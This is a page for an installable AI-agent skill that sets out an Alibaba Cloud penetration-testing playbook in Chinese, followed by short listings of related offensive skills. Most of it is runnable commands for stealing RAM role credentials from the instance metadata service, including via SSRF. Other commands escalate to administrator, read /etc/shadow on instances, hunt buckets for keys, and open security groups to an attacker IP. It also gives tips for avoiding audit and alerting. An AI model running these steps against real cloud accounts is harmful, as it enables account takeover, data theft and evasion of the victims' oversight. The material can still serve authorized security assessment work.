skills/cloud/aliyun-pentesting/SKILL.md
阿里云渗透测试方法论。当目标使用阿里云服务、发现 oss-*.aliyuncs.com 资产、获取阿里云 AccessKey(LTAI 开头)、在 ECS 实例内部可访问 100.100.100.200 元数据、或需要对阿里云 RAM/ECS/OSS/RDS/ACK/FC 等服务进行安全评估时使用。覆盖 RAM 提权、ECS 接管、OSS Bucket 利用、RDS 数据库攻击、ACK 容器集群、FC 函数计算、SLB 负载均衡、日志服务、KMS 密钥管理
npx skillsauth add wgpsec/AboutSecurity aliyun-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
阿里云 RAM/ECS/OSS/RDS/ACK 等服务构成主要攻击面。与 AWS 不同,阿里云的元数据端点为 100.100.100.200,AccessKey 以 LTAI 开头,且部分安全机制(如元数据服务访问限制、ActionTrail 覆盖范围)与国际云平台存在显著差异。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。
识别到具体攻击服务后,加载对应参考文档获取完整技术细节:
拿到阿里云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|---|---|---|
| 长期 AccessKey | AccessKeyId 以 LTAI 开头 | 永久(直到手动轮换) | RAM 控制台创建 / 代码泄露 |
| STS 临时凭据 | AccessKeyId 以 STS. 开头 + SecurityToken | 15 分钟 ~ 12 小时 | AssumeRole / ECS 元数据 |
| RAM Role(ECS 绑定) | 通过 100.100.100.200 获取 | 自动轮换(约 6 小时) | ECS 实例元数据服务 |
| Bearer Token | 用于部分 OpenAPI | 视场景而定 | OAuth 授权流程 |
# 配置 aliyun CLI(交互式,填入 AccessKeyId/Secret/Region)
aliyun configure
# 验证当前身份(最基础的检查,等同于 AWS 的 sts get-caller-identity)
aliyun sts GetCallerIdentity
# 返回: AccountId, Arn, IdentityType (对应 User/Role/AssumedRoleUser)
# 查看当前 RAM 用户详情
aliyun ram GetUser
阿里云 ECS 元数据端点与 AWS 169.254.169.254 不同,使用 100.100.100.200:
# 判断是否在 ECS 实例内部
curl -s http://100.100.100.200/latest/meta-data/
# 获取实例绑定的 RAM Role 名称
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 获取该 Role 的临时凭据(AccessKeyId/AccessKeySecret/SecurityToken)
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
# 获取实例 ID、区域等信息
curl -s http://100.100.100.200/latest/meta-data/instance-id
curl -s http://100.100.100.200/latest/meta-data/region-id
# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://100.100.100.200/latest/user-data
注意: 阿里云目前不强制 IMDSv2(Token 模式),大部分 ECS 实例的元数据服务可直接通过 HTTP GET 访问,无需 Token Header。这使得 SSRF 漏洞在阿里云环境中的危害更大。
公网访问: https://{bucket}.oss-{region}.aliyuncs.com/{object}
内网访问: https://{bucket}.oss-{region}-internal.aliyuncs.com/{object}
发现 oss-*.aliyuncs.com 域名即可确认目标使用阿里云 OSS。Bucket 名称全局唯一。
| 区域代码 | 位置 | 备注 | |---|---|---| | cn-hangzhou | 华东1(杭州) | 阿里云总部所在地,最常用区域 | | cn-shanghai | 华东2(上海) | 金融客户常用 | | cn-qingdao | 华北1(青岛) | | | cn-beijing | 华北2(北京) | 政企客户常用 | | cn-shenzhen | 华南1(深圳) | | | cn-chengdu | 西南1(成都) | | | cn-hongkong | 中国香港 | 无需备案,常被用于出海业务 | | ap-southeast-1 | 新加坡 | 海外区域 |
枚举时需遍历多个区域。部分服务(如 RAM、STS)为全局服务,不受区域限制。
根据当前持有的凭据/位置,判断攻击路径:
当前持有什么?
├── 无凭据
│ ├── 有目标域名 → OSS Bucket 枚举(猜解 bucket 名 + 公开访问检测)
│ ├── 有 SSRF 漏洞 → 打 http://100.100.100.200 获取 RAM Role 凭据
│ └── 仅知组织名 → OSINT + OSS/子域名枚举
│
├── 有 AccessKey(LTAI 开头)
│ ├── 先验证: aliyun sts GetCallerIdentity
│ ├── 有 RAM 写权限 → Phase 3(RAM 提权)
│ ├── 有 ECS 权限 → Phase 4(计算/存储)
│ ├── 有 OSS 权限 → Phase 4(对象存储)
│ ├── 有 RDS 权限 → Phase 4(数据库)
│ └── 权限不明 → 逐服务探测(无 enumerate-iam 等工具,需手动探测)
│
├── 有 STS 临时凭据(STS. 开头)
│ └── 同上,但需注意有效期,快速行动
│
├── 在 ECS 实例内部
│ ├── 获取元数据 RAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境(ACK Pod 内部)
├── 检查 ServiceAccount Token
├── 尝试访问元数据服务
└── → Phase 5(容器/Serverless)
RAM(Resource Access Management)是阿里云的身份权限服务,对标 AWS IAM。
# 列出所有 RAM 用户
aliyun ram ListUsers
# 查看指定用户的策略
aliyun ram ListPoliciesForUser --UserName USERNAME
# 列出该用户的 AccessKey(检查是否有多个)
aliyun ram ListAccessKeys --UserName USERNAME
# 列出所有角色及信任策略
aliyun ram ListRoles
| 提权路径 | 所需权限 | 操作 |
|---|---|---|
| 创建 AccessKey | ram:CreateAccessKey | 为高权限用户创建新 AK |
| 附加策略 | ram:AttachPolicyToUser | 给自己附加 AdministratorAccess |
| 创建策略版本 | ram:CreatePolicyVersion | 新建 Allow * 策略版本并设为默认 |
| 修改角色信任策略 | ram:UpdateRole | 修改 AssumeRolePolicyDocument 使自己可切换 |
| PassRole + 创建 ECS | ram:PassRole + ecs:CreateInstance | 启动绑定高权限 Role 的 ECS |
| PassRole + 创建 FC | ram:PassRole + fc:CreateFunction | 创建绑定高权限 Role 的函数并执行 |
# 提权示例:为目标用户创建新 AccessKey
aliyun ram CreateAccessKey --UserName TARGET_USERNAME
# 成功返回 AccessKeyId + AccessKeySecret,用新凭据重新配置 CLI
# 提权示例:给当前用户附加管理员策略
aliyun ram AttachPolicyToUser --PolicyType System \
--PolicyName AdministratorAccess --UserName CURRENT_USERNAME
# 列出实例
aliyun ecs DescribeInstances --output cols=InstanceId,InstanceName,Status
# 通过 Cloud Assistant 执行命令(需安装云助手 Agent)
aliyun ecs RunCommand --Type RunShellScript \
--CommandContent "id; cat /etc/shadow" --InstanceId.1 i-INSTANCE_ID
→ 读 references/compute-storage-attacks.md 获取 VNC 连接、User-Data 提取、命令执行完整流程
# 列出 Bucket → 检查 ACL → 下载敏感文件
aliyun oss ls
aliyun oss ls oss://BUCKET_NAME/ --include "*.env" --include "*.key" --include "*.pem" --include "*credential*"
→ 读 references/compute-storage-attacks.md 获取 ACL 修改、公开读设置、批量下载完整流程
# 列出实例 → 获取连接串 → 创建账号
aliyun rds DescribeDBInstances --output cols=DBInstanceId,DBInstanceDescription
→ 读 references/compute-storage-attacks.md 获取账号创建、数据库授权完整流程
# 列出 SLB → 查看后端服务器
aliyun slb DescribeLoadBalancers --output cols=LoadBalancerId,Address,Status
→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程
# 列出集群 → 获取 kubeconfig
aliyun cs DescribeClusters
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID
→ 读 references/platform-services-attacks.md 获取集群接管、特权 Pod 创建完整流程
# 列出函数 → 检查环境变量中的凭据
aliyun fc ListFunctions --serviceName SERVICE_NAME --output cols=FunctionName,Runtime
→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露完整流程
# 搜索敏感信息
aliyun log GetLogs --logstore LOG_STORE --query "password|secret|token"
→ 读 references/platform-services-attacks.md 获取日志搜索、批量导出完整流程
# 列出密钥 → 尝试解密
aliyun kms ListKeys
→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程
安全组是阿里云 ECS 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。
# 列出所有安全组
aliyun ecs DescribeSecurityGroups --output cols=SecurityGroupId,Description
# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 22/22 --SourceCidrIp ATTACKER_IP/32
# 危险操作 — 开放所有端口(极高告警风险)
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 1/65535 --SourceCidrIp 0.0.0.0/0
判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发云安全中心告警。
| 工具 | 用途 | 安装/使用 |
|---|---|---|
| aliyun CLI | 阿里云官方命令行工具 | brew install aliyun-cli 或从 GitHub Releases 下载 |
| aliyun sts GetCallerIdentity | 验证凭据身份 | 内置子命令 |
| aliyun oss | OSS 对象操作 | 内置子命令 |
| ossutil | OSS 专用工具(大文件传输更优) | 独立二进制,阿里云官网下载 |
| curl | 元数据服务探测 | 系统自带 |
| kubectl | ACK 集群操作 | 获取 kubeconfig 后使用 |
| cf (Cloud Exploitation Framework) | 阿里云/腾讯云自动化利用 | go install github.com/teamssix/cf@latest |
| aliyun-accesskey-tools | AccessKey 利用集合 | 社区工具 |
ActionTrail 审计感知: 阿里云 ActionTrail 记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:
云安全中心检测: 阿里云云安全中心(安骑士升级版)会检测:
速率限制: 阿里云 OpenAPI 有限流机制,枚举时建议控制频率。触发限流返回 Throttling.User 错误码。
区域遍历: 与 AWS 类似,阿里云资源按区域隔离。全局服务(RAM、STS)不受区域限制,但 ECS/OSS/RDS 等需逐区域枚举。
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能